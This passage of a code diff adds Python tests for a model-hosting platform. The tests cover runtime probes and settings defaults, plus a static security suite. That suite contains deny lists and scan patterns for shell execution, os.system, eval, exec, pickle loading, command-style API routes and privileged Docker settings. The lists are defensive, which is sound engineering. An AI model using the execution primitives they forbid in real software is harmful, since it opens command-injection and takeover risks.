+    probe = service.create_probe(
+        RuntimeProbeCreate(
+            compatibility_assessment_id=result.id,
+            execution_approval_id=approval.id,
+        )
+    )
+    lease = service.claim_next(node)
+    assert lease is not None
+    assert lease.probe_id == probe.id
+    manifest_paths = [item["path"] for item in lease.expected_manifest["files"]]
+    assert manifest_paths == selected_paths
+
+
+@pytest.mark.parametrize(
+    ("adapter", "blocker"),
+    [("llama_cpp", "NO_GGUF_ARTIFACT_VARIANT"), ("diffusers", "NOT_A_DIFFUSION_PIPELINE")],
+)
+def test_wrong_runtime_is_incompatible_by_artifact_evidence(
+    session: Session, adapter: str, blocker: str
+) -> None:
+    service, artifact_set, node, _artifacts = setup_runtime(session)
+    profile = create_profile(service, artifact_set.id, adapter)
+    result = service.assess(
+        CompatibilityAssessmentCreate(runtime_profile_id=profile.id, compute_node_id=node.id)
+    )
+    assert result.status == "blocked"
+    assert blocker in result.blockers
+
+
+@pytest.mark.parametrize("mutation", ["incomplete", "corrupt", "remote-code", "pickle", "no-gpu"])
+def test_static_assessment_fails_closed(session: Session, mutation: str) -> None:
+    service, artifact_set, node, artifacts = setup_runtime(session)
+    if mutation == "incomplete":
+        artifact_set.completeness = "partial"
+    elif mutation == "corrupt":
+        artifacts[0].status = "corrupt"
+    elif mutation == "remote-code":
+        artifacts[0].verification_details = {"risk_flags": ["remote_code"]}
+    elif mutation == "pickle":
+        artifacts[-1].verification_details = {"risk_flags": ["pickle_or_executable_serialization"]}
+    else:
+        session.query(Accelerator).delete()
+    session.commit()
+    profile = create_profile(service, artifact_set.id)
+    result = service.assess(
+        CompatibilityAssessmentCreate(runtime_profile_id=profile.id, compute_node_id=node.id)
+    )
+    assert result.status == "blocked"
+
+
+def test_runtime_profile_rejects_secrets_and_is_immutable(session: Session) -> None:
+    service, artifact_set, _node, _artifacts = setup_runtime(session)
+    environment = create_environment(service)
+    with pytest.raises(ValidationError, match="secrets"):
+        RuntimeProfileCreate(
+            name="unsafe",
+            runtime_environment_id=environment.id,
+            artifact_set_id=artifact_set.id,
+            modality="embedding",
+            environment_variables={"HF_TOKEN": "secret"},
+        )
+    safe = RuntimeProfileCreate(
+        name="offline tokenizer",
+        runtime_environment_id=environment.id,
+        artifact_set_id=artifact_set.id,
+        modality="embedding",
+        environment_variables={"TOKENIZERS_PARALLELISM": "false"},
+    )
+    assert safe.environment_variables == {"TOKENIZERS_PARALLELISM": "false"}
+    profile = create_profile(service, artifact_set.id)
+    stored = service.repo.profile(profile.id)
+    assert stored is not None
+    stored.dtype = "float16"
+    with pytest.raises(ValueError, match="immutable approved fields"):
+        session.commit()
+    session.rollback()
+
+
+def test_probe_requires_exact_valid_lab_approval(session: Session) -> None:
+    service, artifact_set, node, artifacts = setup_runtime(session)
+    profile = create_profile(service, artifact_set.id)
+    assessment = service.assess(
+        CompatibilityAssessmentCreate(runtime_profile_id=profile.id, compute_node_id=node.id)
+    )
+    other_set = ArtifactSet(
+        revision_id=artifact_set.revision_id,
+        snapshot_id=artifact_set.snapshot_id,
+        variant_key="safetensors-second",
+        label="Second set",
+        selection_reason="approval scoping test",
+        selected_paths=artifact_set.selected_paths,
+        total_size_bytes=artifact_set.total_size_bytes,
+        file_count=artifact_set.file_count,
+        availability="local",
+        status="verified",
+        completeness="complete",
+        security_status="static_checks_passed_unapproved",
+        license_status="captured_unreviewed",
+        immutable_at=datetime.now(UTC),
+    )
+    session.add(other_set)
+    session.flush()
+    for ordinal, artifact in enumerate(artifacts):
+        session.add(
+            ArtifactSetMember(
+                artifact_set_id=other_set.id,
+                artifact_id=artifact.id,
+                ordinal=ordinal,
+                required=True,
+            )
+        )
+    session.commit()
+    wrong = service.approve(
+        other_set.id,
+        ExecutionApprovalCreate(reason="Separate reviewed artifact approval", approved_by="test"),
+    )
+    with pytest.raises(RegistryConflict, match="another artifact set"):
+        service.create_probe(
+            RuntimeProbeCreate(
+                compatibility_assessment_id=assessment.id,
+                execution_approval_id=wrong.id,
+            )
+        )
+
+
+def test_probe_is_node_owned_cancelable_and_creates_no_candidate_early(session: Session) -> None:
+    service, artifact_set, node, _artifacts = setup_runtime(session)
+    _profile, _assessment, _approval, probe = prepare_probe(service, artifact_set, node)
+    other = ComputeNode(
+        key="workstation",
+        hostname="workstation",
+        enabled=True,
+        liveness_state="online",
+        lab_eligible=True,
+        agent_capabilities=["runtime.probe.v1"],
+    )
+    session.add(other)
+    session.commit()
+    assert service.claim_next(other) is None
+    assert service.candidates() == []
+    cancelled = service.cancel(probe.id)
+    assert cancelled.status == "cancelled"
+    assert service.claim_next(node) is None
+
+
+def test_successful_probe_persists_measured_evidence_and_lab_candidate(session: Session) -> None:
+    service, artifact_set, node, _artifacts = setup_runtime(session)
+    _profile, _assessment, _approval, probe = prepare_probe(service, artifact_set, node)
+    lease = service.claim_next(node)
+    assert lease is not None and lease.probe_id == probe.id
+    claimed = service.probe(probe.id)
+    assert claimed.logs_reference == f"runtime-worker://{node.id}/{probe.id}/attempt/1"
+    completed = service.complete(
+        probe.id,
+        node,
+        AgentRuntimeProbeComplete(
+            lease_token=lease.lease_token,
+            load_result={"status": "passed", "load_time_ms": 1000.0},
+            health_result={
+                "process": "healthy",
+                "runtime": "healthy",
+                "model": "healthy",
+                "capability": "not_routed_in_m4",
+            },
+            inference_result={
+                "status": "passed",
+                "shape": [1, 1024],
+                "dimension": 1024,
+                "finite": True,
+                "latency_ms": 10.0,
+            },
+            unload_result={"status": "passed", "reclaimed": True},
+            measured_resources={
+                "kind": "measured",
+                "samples": {"before_load": {"used_vram_bytes": 1}},
+            },
+            runtime_facts={"offline_local_only": True, "trust_remote_code": False},
+            environment_fingerprint=hashlib.sha256(b"runtime").hexdigest(),
+        ),
+    )
+    assert completed.status == "completed"
+    candidate = service.candidates()[0]
+    assert candidate.status == "lab_ready"
+    assert candidate.production is False
+    assert len(service.repo.metrics(probe.id)) == 1
+
+
+def test_reranking_probe_accepts_finite_ranked_score_evidence(session: Session) -> None:
+    service, artifact_set, node, _artifacts = setup_runtime(session)
+    profile = create_profile(service, artifact_set.id, "qwen3_reranker")
+    assert profile.health_contract == {
+        "process": "required",
+        "runtime": "required",
+        "model": "functional_ranking_required",
+        "capability": "rag.reranking@1",
+    }
+    assessment = service.assess(
+        CompatibilityAssessmentCreate(runtime_profile_id=profile.id, compute_node_id=node.id)
+    )
+    approval = service.approve(
+        artifact_set.id,
+        ExecutionApprovalCreate(reason="Reviewed exact reranker artifact set", approved_by="test"),
+    )
+    probe = service.create_probe(
+        RuntimeProbeCreate(
+            compatibility_assessment_id=assessment.id,
+            execution_approval_id=approval.id,
+        )
+    )
+    lease = service.claim_next(node)
+    assert lease is not None
+    completed = service.complete(
+        probe.id,
+        node,
+        AgentRuntimeProbeComplete(
+            lease_token=lease.lease_token,
+            load_result={"status": "passed", "load_time_ms": 500.0},
+            health_result={
+                "process": "healthy",
+                "runtime": "healthy",
+                "model": "healthy",
+                "capability": "healthy",
+            },
+            inference_result={
+                "status": "passed",
+                "output_type": "ranked_scores",
+                "count": 1,
+                "finite": True,
+                "score": 0.75,
+                "latency_ms": 20.0,
+            },
+            unload_result={"status": "passed", "reclaimed": True},
+            measured_resources={"kind": "measured", "samples": {}},
+            runtime_facts={"offline_local_only": True, "trust_remote_code": False},
+            environment_fingerprint="e" * 64,
+        ),
+    )
+    assert completed.status == "completed"
+    assert completed.inference_result["output_type"] == "ranked_scores"
+    assert service.candidates()[0].runtime_probe_id == probe.id
+
+
+def test_completion_rejects_unhealthy_or_online_dependent_evidence(session: Session) -> None:
+    service, artifact_set, node, _artifacts = setup_runtime(session)
+    _profile, _assessment, _approval, probe = prepare_probe(service, artifact_set, node)
+    lease = service.claim_next(node)
+    assert lease is not None
+    failed = service.complete(
+        probe.id,
+        node,
+        AgentRuntimeProbeComplete(
+            lease_token=lease.lease_token,
+            load_result={"status": "passed"},
+            health_result={"process": "healthy", "runtime": "healthy", "model": "unhealthy"},
+            inference_result={"finite": False, "dimension": 0},
+            unload_result={"reclaimed": True},
+            measured_resources={"samples": {}},
+            runtime_facts={"offline_local_only": True},
+            environment_fingerprint="f" * 64,
+        ),
+    )
+    assert failed.status == "failed"
+    assert failed.failure_code == "HEALTHCHECK_FAILED"
+    assert service.candidates() == []
+
+
+def test_runtime_environment_and_profile_creation_are_idempotent(session: Session) -> None:
+    service, artifact_set, _node, _artifacts = setup_runtime(session)
+    first_environment = create_environment(service)
+    second_environment = create_environment(service)
+    first_profile = create_profile(service, artifact_set.id)
+    second_profile = create_profile(service, artifact_set.id)
+    assert first_environment.id == second_environment.id
+    assert first_profile.id == second_profile.id
+    assert first_profile.image_digest == first_environment.image_digest
+    assert first_profile.version == 1
+
+
+def test_runtime_environment_identity_is_immutable(session: Session) -> None:
+    service, _artifact_set, _node, _artifacts = setup_runtime(session)
+    environment = create_environment(service)
+    stored = service.repo.environment(environment.id)
+    assert stored is not None
+    stored.image_digest = "sha256:" + "b" * 64
+    with pytest.raises(ValueError, match="immutable approved fields"):
+        session.commit()
+    session.rollback()
+
+
+def test_missing_runtime_dependency_blocks_static_compatibility(session: Session) -> None:
+    service, artifact_set, node, _artifacts = setup_runtime(session)
+    environment = service.create_environment(
+        RuntimeEnvironmentCreate(
+            name="missing sentence transformers",
+            adapter="sentence_transformers",
+            runtime_version="4.1.0",
+            image_repository="worker",
+            image_digest="sha256:" + "c" * 64,
+            python_version="3.11",
+            cuda_runtime_version="12.8",
+            package_versions={"torch": "2.7.1", "transformers": "4.51.3"},
+            supported_model_types=["qwen3"],
+            supported_formats=["safetensors"],
+            supported_modalities=["embedding"],
+        )
+    )
+    profile = service.create_profile(
+        RuntimeProfileCreate(
+            name="missing dependency",
+            runtime_environment_id=environment.id,
+            artifact_set_id=artifact_set.id,
+            modality="embedding",
+        )
+    )
+    result = service.assess(
+        CompatibilityAssessmentCreate(runtime_profile_id=profile.id, compute_node_id=node.id)
+    )
+    assert "RUNTIME_DEPENDENCY_MISSING:sentence-transformers" in result.blockers
+
+
+def test_modality_and_compute_capability_are_enforced(session: Session) -> None:
+    service, artifact_set, node, _artifacts = setup_runtime(session)
+    environment = service.create_environment(
+        RuntimeEnvironmentCreate(
+            name="text-only sentence runtime",
+            adapter="sentence_transformers",
+            runtime_version="4.1.0",
+            image_repository="worker",
+            image_digest="sha256:" + "d" * 64,
+            python_version="3.11",
+            cuda_runtime_version="12.8",
+            package_versions={"sentence-transformers": "4.1.0"},
+            supported_model_types=["qwen3"],
+            supported_formats=["safetensors"],
+            supported_modalities=["text_generation"],
+        )
+    )
+    profile = service.create_profile(
+        RuntimeProfileCreate(
+            name="incompatible GPU and modality",
+            runtime_environment_id=environment.id,
+            artifact_set_id=artifact_set.id,
+            modality="embedding",
+            gpu_memory_policy={"minimum_compute_capability": "9.0"},
+        )
+    )
+    result = service.assess(
+        CompatibilityAssessmentCreate(runtime_profile_id=profile.id, compute_node_id=node.id)
+    )
+    assert "RUNTIME_MODALITY_UNSUPPORTED" in result.blockers
+    assert "GPU_COMPUTE_CAPABILITY_INCOMPATIBLE" in result.blockers
+
+
+def test_insufficient_vram_estimate_blocks_without_loading(session: Session) -> None:
+    service, artifact_set, node, _artifacts = setup_runtime(session)
+    service.repo.accelerators(node.id)[0].total_vram_bytes = 100
+    session.commit()
+    profile = create_profile(service, artifact_set.id)
+    result = service.assess(
+        CompatibilityAssessmentCreate(runtime_profile_id=profile.id, compute_node_id=node.id)
+    )
+    assert "INSUFFICIENT_VRAM_ESTIMATE" in result.blockers
+    assert result.evidence["resource_estimate"]["kind"] == "estimated"
+
+
+def test_unknown_architecture_is_requires_probe_not_claimed_compatible(session: Session) -> None:
+    service, artifact_set, node, _artifacts = setup_runtime(session)
+    model = service.repo.model(service.repo.revision(artifact_set.revision_id).model_id)  # type: ignore[union-attr]
+    assert model is not None
+    model.upstream_metadata = {"pipeline_tag": "feature-extraction"}
+    session.commit()
+    profile = create_profile(service, artifact_set.id)
+    result = service.assess(
+        CompatibilityAssessmentCreate(runtime_profile_id=profile.id, compute_node_id=node.id)
+    )
+    assert result.status == "requires_probe"
+    assert "MODEL_ARCHITECTURE_EVIDENCE_UNKNOWN" in result.warnings
+
+
+def test_assessment_becomes_stale_when_hardware_facts_change(session: Session) -> None:
+    service, artifact_set, node, _artifacts = setup_runtime(session)
+    profile = create_profile(service, artifact_set.id)
+    assessment = service.assess(
+        CompatibilityAssessmentCreate(runtime_profile_id=profile.id, compute_node_id=node.id)
+    )
+    accelerator = service.repo.accelerators(node.id)[0]
+    accelerator.driver_version = "999.1"
+    session.commit()
+    refreshed = service.assessment(assessment.id)
+    assert refreshed.stale is True
+    assert "evidence changed" in str(refreshed.stale_reason)
+
+
+def test_expired_and_changed_approvals_cannot_authorize_probe(session: Session) -> None:
+    service, artifact_set, node, artifacts = setup_runtime(session)
+    profile = create_profile(service, artifact_set.id)
+    assessment = service.assess(
+        CompatibilityAssessmentCreate(runtime_profile_id=profile.id, compute_node_id=node.id)
+    )
+    expired = service.approve(
+        artifact_set.id,
+        ExecutionApprovalCreate(
+            reason="Time bounded exact artifact review",
+            approved_by="operator",
+            expires_at=datetime.now(UTC) - timedelta(seconds=1),
+        ),
+    )
+    assert expired.stale is True
+    with pytest.raises(RegistryConflict, match="valid LAB"):
+        service.create_probe(
+            RuntimeProbeCreate(
+                compatibility_assessment_id=assessment.id,
+                execution_approval_id=expired.id,
+            )
+        )
+    current = service.approve(
+        artifact_set.id,
+        ExecutionApprovalCreate(reason="Second exact artifact review", approved_by="operator"),
+    )
+    artifacts[0].status = "corrupt"
+    session.commit()
+    assert service.approval_response(service.repo.approval(current.id)).stale is True  # type: ignore[arg-type]
+
+
+def test_disabled_node_and_wrong_artifact_location_are_blocked(session: Session) -> None:
+    service, artifact_set, node, _artifacts = setup_runtime(session)
+    node.enabled = False
+    session.commit()
+    profile = create_profile(service, artifact_set.id)
+    disabled = service.assess(
+        CompatibilityAssessmentCreate(runtime_profile_id=profile.id, compute_node_id=node.id)
+    )
+    assert "NODE_NOT_LAB_READY" in disabled.blockers
+    node.enabled = True
+    other = ComputeNode(key="other", hostname="other", enabled=True, liveness_state="online")
+    session.add(other)
+    session.flush()
+    root = session.query(StorageRoot).one()
+    root.compute_node_id = other.id
+    session.commit()
+    misplaced = service.assess(
+        CompatibilityAssessmentCreate(runtime_profile_id=profile.id, compute_node_id=node.id)
+    )
+    assert "VERIFIED_ARTIFACT_LOCATION_NOT_ON_TARGET_NODE" in misplaced.blockers
+
+
+def test_expired_worker_lease_is_recovered_after_restart(session: Session) -> None:
+    service, artifact_set, node, _artifacts = setup_runtime(session)
+    _profile, _assessment, _approval, probe = prepare_probe(service, artifact_set, node)
+    first = service.claim_next(node)
+    assert first is not None
+    stored = service.repo.probe(probe.id)
+    assert stored is not None
+    stored.lease_expires_at = datetime.now(UTC) - timedelta(seconds=1)
+    session.commit()
+    second = service.claim_next(node)
+    assert second is not None
+    assert second.lease_token != first.lease_token
+    assert service.probe(probe.id).attempt_count == 2
+
+
+def test_running_probe_cancellation_is_acknowledged_and_terminal(session: Session) -> None:
+    service, artifact_set, node, _artifacts = setup_runtime(session)
+    _profile, _assessment, _approval, probe = prepare_probe(service, artifact_set, node)
+    lease = service.claim_next(node)
+    assert lease is not None
+    service.cancel(probe.id)
+    control = service.progress(
+        probe.id,
+        node,
+        AgentRuntimeProbeProgress(lease_token=lease.lease_token, status="loading"),
+    )
+    assert control.cancel_requested is True
+    cancelled = service.fail(
+        probe.id,
+        node,
+        AgentRuntimeProbeFailure(
+            lease_token=lease.lease_token,
+            failure_code="CANCELLED",
+            failure_message="operator cancelled",
+        ),
+    )
+    assert cancelled.status == "cancelled"
+    assert service.candidates() == []
+
+
+@pytest.mark.parametrize(
+    ("health", "inference", "unload", "facts", "code"),
+    [
+        (
+            {"process": "healthy", "runtime": "healthy", "model": "healthy"},
+            {"finite": False, "dimension": 0},
+            {"reclaimed": True},
+            {"offline_local_only": True},
+            "INVALID_OUTPUT",
+        ),
+        (
+            {"process": "healthy", "runtime": "healthy", "model": "healthy"},
+            {"finite": True, "dimension": 1024},
+            {"reclaimed": False},
+            {"offline_local_only": True},
+            "GPU_MEMORY_NOT_RECLAIMED",
+        ),
+        (
+            {"process": "healthy", "runtime": "healthy", "model": "healthy"},
+            {"finite": True, "dimension": 1024},
+            {"reclaimed": True},
+            {"offline_local_only": False},
+            "OFFLINE_LOAD_VIOLATION",
+        ),
+    ],
+)
+def test_completion_failures_are_typed_and_never_create_candidate(
+    session: Session,
+    health: dict,
+    inference: dict,
+    unload: dict,
+    facts: dict,
+    code: str,
+) -> None:
+    service, artifact_set, node, _artifacts = setup_runtime(session)
+    _profile, _assessment, _approval, probe = prepare_probe(service, artifact_set, node)
+    lease = service.claim_next(node)
+    assert lease is not None
+    result = service.complete(
+        probe.id,
+        node,
+        AgentRuntimeProbeComplete(
+            lease_token=lease.lease_token,
+            load_result={"status": "passed"},
+            health_result=health,
+            inference_result=inference,
+            unload_result=unload,
+            measured_resources={"samples": {}},
+            runtime_facts=facts,
+            environment_fingerprint="e" * 64,
+        ),
+    )
+    assert result.status == "failed"
+    assert result.failure_code == code
+    assert service.candidates() == []

backend/tests/test_settings.py

@@ -0,0 +1,14 @@
+from modelforge_api.settings import Settings
+
+
+def test_security_sensitive_defaults() -> None:
+    settings = Settings(_env_file=None)
+    assert settings.allow_remote_code is False
+    assert settings.gateway_max_payload_bytes == 65_536
+    assert settings.node_agent_max_payload_bytes == 4_194_304
+    assert settings.control_plane_max_payload_bytes == 1_048_576
+
+
+def test_cors_configuration_parsing() -> None:
+    settings = Settings(_env_file=None, cors_origins="http://one.test, http://two.test")
+    assert settings.cors_origin_list == ["http://one.test", "http://two.test"]

backend/tests/test_supply_chain_m16.py

@@ -0,0 +1,517 @@
+"""M16 static security and supply-chain guards.
+
+A security review is a point-in-time result; these tests turn its conclusions into properties the
+build enforces. Each one encodes something the M16 review verified by hand, so a later milestone
+cannot quietly reintroduce it.
+"""
+
+from __future__ import annotations
+
+import ast
+import re
+from pathlib import Path
+
+import pytest
+
+ROOT = Path(__file__).resolve().parents[2]
+SOURCE_ROOTS = [
+    ROOT / "backend" / "src",
+    ROOT / "node-agent" / "src",
+    ROOT / "runtime-worker" / "src",
+]
+
+
+def python_sources() -> list[Path]:
+    files: list[Path] = []
+    for root in SOURCE_ROOTS:
+        if root.is_dir():
+            files.extend(path for path in root.rglob("*.py") if "__pycache__" not in path.parts)
+    return sorted(files)
+
+
+def parsed_sources() -> list[tuple[Path, ast.Module]]:
+    return [(path, ast.parse(path.read_text("utf-8"))) for path in python_sources()]
+
+
+def _callee_name(node: ast.Call) -> str:
+    """Dotted name of a call target, or "" when the receiver is itself an expression.
+
+    `model.to("cuda").eval()` is PyTorch switching to inference mode, not the builtin `eval`. A
+    method call on an expression has no resolvable dotted name, so it must not collapse to its
+    final attribute.
+    """
+
+    target = node.func
+    parts: list[str] = []
+    while isinstance(target, ast.Attribute):
+        parts.append(target.attr)
+        target = target.value
+    if isinstance(target, ast.Name):
+        parts.append(target.id)
+        return ".".join(reversed(parts))
+    return ""
+
+
+# --------------------------------------------------------------------- execution surfaces
+
+
+def test_no_source_file_executes_a_shell() -> None:
+    """`shell=True` turns every interpolated value into a command injection candidate."""
+
+    offenders: list[str] = []
+    for path, tree in parsed_sources():
+        for node in ast.walk(tree):
+            if not isinstance(node, ast.Call):
+                continue
+            for keyword in node.keywords:
+                if keyword.arg == "shell" and not (
+                    isinstance(keyword.value, ast.Constant) and keyword.value.value is False
+                ):
+                    offenders.append(f"{path.relative_to(ROOT)}:{node.lineno}")
+    assert offenders == [], f"shell execution found: {offenders}"
+
+
+@pytest.mark.parametrize(
+    "callee", ["os.system", "os.popen", "eval", "exec", "pickle.loads", "pickle.load"]
+)
+def test_no_source_file_calls_an_arbitrary_execution_primitive(callee: str) -> None:
+    offenders: list[str] = []
+    for path, tree in parsed_sources():
+        for node in ast.walk(tree):
+            if isinstance(node, ast.Call) and _callee_name(node) == callee:
+                offenders.append(f"{path.relative_to(ROOT)}:{node.lineno}")
+    assert offenders == [], f"{callee} found: {offenders}"
+
+
+def test_no_subprocess_call_passes_a_string_command_line() -> None:
+    """A string argv can be handed to a shell; a list of arguments never is.
+
+    A variable holding a list is fine and common, so this rejects the shapes that are genuinely
+    dangerous: a literal string, an f-string, or a string built by concatenation or formatting.
+    """
+
+    dangerous = (ast.Constant, ast.JoinedStr, ast.BinOp)
+    offenders: list[str] = []
+    for path, tree in parsed_sources():
+        for node in ast.walk(tree):
+            if not isinstance(node, ast.Call):
+                continue
+            name = _callee_name(node)
+            if not name.startswith("subprocess.") or name.endswith(
+                ("TimeoutExpired", "CalledProcessError", "SubprocessError")
+            ):
+                continue
+            if not node.args:
+                offenders.append(f"{path.relative_to(ROOT)}:{node.lineno} (no argv)")
+                continue
+            argv = node.args[0]
+            if isinstance(argv, dangerous) or (
+                isinstance(argv, ast.Call) and _callee_name(argv).endswith((".format", ".join"))
+            ):
+                offenders.append(f"{path.relative_to(ROOT)}:{node.lineno} ({type(argv).__name__})")
+    assert offenders == [], f"subprocess calls with a string command line: {offenders}"
+
+
+def test_every_subprocess_argv_is_a_list_at_runtime() -> None:
+    """The allowlisted callers build their argv as a list literal before passing it."""
+
+    for relative in (
+        "backend/src/modelforge_api/services/recovery.py",
+        "backend/src/modelforge_api/services/recovery_postgres.py",
+    ):
+        source = (ROOT / relative).read_text("utf-8")
+        tree = ast.parse(source)
+        for node in ast.walk(tree):
+            if not (isinstance(node, ast.Call) and _callee_name(node) == "subprocess.run"):
+                continue
+            argv = node.args[0]
+            if isinstance(argv, ast.Name):
+                assigned = [
+                    statement
+                    for statement in ast.walk(tree)
+                    if isinstance(statement, ast.Assign)
+                    and any(
+                        isinstance(target, ast.Name) and target.id == argv.id
+                        for target in statement.targets
+                    )
+                ]
+                assert assigned, f"{relative}:{node.lineno} argv {argv.id} is never assigned"
+                assert any(
+                    isinstance(statement.value, ast.List) for statement in assigned
+                ), f"{relative}:{node.lineno} argv {argv.id} is not built as a list"
+            else:
+                assert isinstance(argv, ast.List), f"{relative}:{node.lineno}"
+
+
+def test_the_only_subprocess_users_are_the_recovery_plane() -> None:
+    """Subprocess use is allowlisted, so a new one has to be a deliberate decision."""
+
+    allowed = {
+        "backend/src/modelforge_api/services/recovery.py",
+        "backend/src/modelforge_api/services/recovery_postgres.py",
+    }
+    users = {
+        str(path.relative_to(ROOT)).replace("\\", "/")
+        for path, tree in parsed_sources()
+        for node in ast.walk(tree)
+        if isinstance(node, ast.Call) and _callee_name(node).startswith("subprocess.")
+    }
+    assert users <= allowed, f"unexpected subprocess users: {sorted(users - allowed)}"
+
+
+def test_the_product_exposes_no_chaos_or_command_route() -> None:
+    """Fault injection is a test harness concern; a control plane must not offer it as an API."""
+
+    routes = ROOT / "backend" / "src" / "modelforge_api" / "api" / "routes"
+    # Anchored on whole path segments: an "evaluation" route is a first-class M6 feature, while a
+    # "/chaos" or "/exec" segment would be a command surface.
+    forbidden = re.compile(
+        r"[\"']/[^\"']*/(chaos|shell|exec|command|debug)(/|[\"'])", re.IGNORECASE
+    )
+    offenders = [
+        f"{path.relative_to(ROOT)}:{index}"
+        for path in routes.rglob("*.py")
+        for index, line in enumerate(path.read_text("utf-8").splitlines(), start=1)
+        if forbidden.search(line)
+    ]
+    assert offenders == [], f"suspicious route definitions: {offenders}"
+
+
+# --------------------------------------------------------------------- cryptography
+
+
+def test_backup_encryption_uses_a_reviewed_library_primitive() -> None:
+    """ModelForge designs no cryptography; it adapts one."""
+
+    source = (
+        ROOT / "backend" / "src" / "modelforge_api" / "services" / "recovery_crypto.py"
+    ).read_text("utf-8")
+    assert "from cryptography.hazmat.primitives.ciphers.aead import AESGCM" in source
+    assert "AES-256-GCM" in source
+    for banned in ("import hashlib\nfrom Crypto", "def _xor", "custom_cipher", "rot13"):
+        assert banned not in source
+
+
+def test_every_encrypted_chunk_uses_a_fresh_nonce() -> None:
+    """A reused GCM nonce with the same key destroys both confidentiality and authenticity."""
+
+    source = (
+        ROOT / "backend" / "src" / "modelforge_api" / "services" / "recovery_crypto.py"
+    ).read_text("utf-8")
+    implementation = source.split("class AesGcmBackupCipher", 1)[1]
+    encrypt = implementation.split("def encrypt_file", 1)[1].split("def decrypt_file", 1)[0]
+    assert "nonce = os.urandom(_NONCE_BYTES)" in encrypt
+    # The nonce is drawn inside the chunk loop, not once for the whole file.
+    loop = encrypt.split("while chunk := reader.read(CHUNK_BYTES):", 1)[1]
+    assert "nonce = os.urandom(_NONCE_BYTES)" in loop
+    assert "_associated(self.key_id, index)" in loop
+
+
+def test_decryption_failure_leaves_no_plaintext_behind() -> None:
+    source = (
+        ROOT / "backend" / "src" / "modelforge_api" / "services" / "recovery_crypto.py"
+    ).read_text("utf-8")
+    implementation = source.split("class AesGcmBackupCipher", 1)[1]
+    decrypt = implementation.split("def decrypt_file", 1)[1]
+    assert "temporary.unlink(missing_ok=True)" in decrypt
+    assert "destination.unlink(missing_ok=True)" in decrypt
+    assert "InvalidTag" in decrypt
+
+
+def test_no_encryption_key_is_ever_written_into_a_backup_manifest() -> None:
+    source = (
+        ROOT / "backend" / "src" / "modelforge_api" / "services" / "recovery.py"
+    ).read_text("utf-8")
+    manifest = source.split("def _configuration_manifest", 1)[1].split("def ", 2)[0]
+    assert "get_secret_value" not in manifest
+    assert "NON_EXPORTABLE_SECRET" in manifest
+
+
+# --------------------------------------------------------------------- deployment posture
+
+
+def test_no_compose_projection_grants_privileged_mode_or_the_docker_socket() -> None:
+    offenders: list[str] = []
+    for path in sorted(ROOT.glob("docker-compose*.yml")):
+        text = path.read_text("utf-8")
+        for marker in ("privileged: true", "docker.sock", "network_mode: host", "pid: host"):
+            if marker in text:
+                offenders.append(f"{path.name}: {marker}")
+    assert offenders == [], f"unsafe deployment settings: {offenders}"
+
+
+def test_the_datastores_are_not_published_beyond_loopback_by_default() -> None:
+    """A control-plane database on the LAN behind a development password is the whole platform.
+
+    Asserted through the same mapping parser the projection test uses rather than against a literal
+    string: M17 made the host ports configurable, and a literal assertion would have failed for a
+    change that did not weaken anything. The property is "bound to loopback", not "spelled exactly
+    this way".
+    """
+
+    compose = ROOT / "docker-compose.yml"
+    mappings = _published_mappings(compose)
+    datastores = [mapping for mapping in mappings if mapping.endswith((":5432", ":6379"))]
+    assert len(datastores) == 2, f"expected PostgreSQL and Redis mappings, found {datastores}"
+    for mapping in datastores:
+        assert _binds_to_loopback(mapping), f"{mapping} is published beyond loopback"
+
+
+# The port a compose file publishes, as "[host_ip:]host_port:container_port", where any part may be
+# written as a ${VAR:-default} substitution.
+_PUBLISHED_PORT = re.compile(r'^\s*-\s*"(?P<mapping>[^"]*:\d+)"\s*$')
+
+# The API is published deliberately: every admin route is operator-authenticated and the console has
+# to reach it. Everything else defaults to loopback.
+_DELIBERATELY_PUBLISHED = ("MODELFORGE_API_BIND",)
+
+
+def _published_mappings(path: Path) -> list[str]:
+    return [
+        match.group("mapping")
+        for line in path.read_text("utf-8").splitlines()
+        if (match := _PUBLISHED_PORT.match(line))
+    ]
+
+
+def _split_mapping(mapping: str) -> list[str]:
+    """Split on the colons that separate parts, not the ones inside ${VAR:-default}."""
+
+    parts: list[str] = []
+    current: list[str] = []
+    depth = 0
+    index = 0
+    while index < len(mapping):
+        character = mapping[index]
+        if mapping.startswith("${", index):
+            depth += 1
+            current.append(mapping[index : index + 2])
+            index += 2
+            continue
+        if character == "}" and depth:
+            depth -= 1
+        elif character == ":" and not depth:
+            parts.append("".join(current))
+            current = []
+            index += 1
+            continue
+        current.append(character)
+        index += 1
+    parts.append("".join(current))
+    return parts
+
+
+def _binds_to_loopback(mapping: str) -> bool:
+    """A published port is safe only when it names a host address that is the loopback.
+
+    Two parts means "host_port:container_port", which docker publishes on every interface.
+    """
+
+    parts = _split_mapping(mapping)
+    if len(parts) < 3:
+        return False
+    host = parts[0]
+    if host == "127.0.0.1":
+        return True
+    # ${MODELFORGE_X_BIND:-127.0.0.1} — the default must itself be the loopback.
+    default = re.fullmatch(r"\$\{[A-Z0-9_]+:-([^}]*)\}", host)
+    return bool(default and default.group(1) == "127.0.0.1")
+
+
+@pytest.mark.parametrize(
+    "compose", sorted(ROOT.glob("docker-compose*.yml")), ids=lambda path: path.name
+)
+def test_every_compose_projection_binds_its_ports_to_loopback(compose: Path) -> None:
+    """The invariant, not one file.
+
+    The first version of this asserted the contents of docker-compose.yml, which is the file that
+    had already been fixed. docker-compose.dr.yml published a rehearsal PostgreSQL on every
+    interface, and a DR rehearsal restores the entire control-plane database into it: from the LAN
+    the development credentials connected to it as a superuser. A test that names the file it was
+    written for cannot find the next occurrence, so this one reads every projection.
+    """
+
+    for mapping in _published_mappings(compose):
+        if any(name in mapping for name in _DELIBERATELY_PUBLISHED):
+            continue
+        assert _binds_to_loopback(mapping), (
+            f"{compose.name} publishes {mapping!r} on every interface; bind it to 127.0.0.1 "
+            f"by default and let an operator override it deliberately"
+        )
+
+
+def test_the_api_and_web_containers_drop_capabilities() -> None:
+    text = (ROOT / "docker-compose.yml").read_text("utf-8")
+    assert text.count("cap_drop:") >= 2
+    assert text.count("no-new-privileges:true") >= 2
+
+
+def test_the_console_image_serves_a_build_rather_than_a_development_server() -> None:
+    dockerfile = (ROOT / "frontend" / "Dockerfile").read_text("utf-8")
+    assert "npm run build" in dockerfile
+    assert "nginx-unprivileged" in dockerfile
+    assert 'CMD ["npm", "run", "dev"]' not in dockerfile
+
+
+def test_the_console_sets_its_security_headers_in_every_location() -> None:
+    """nginx does not inherit add_header into a location that declares one of its own."""
+
+    config = (ROOT / "frontend" / "nginx.conf").read_text("utf-8")
+    serving_blocks = [
+        line
+        for line in config.splitlines()
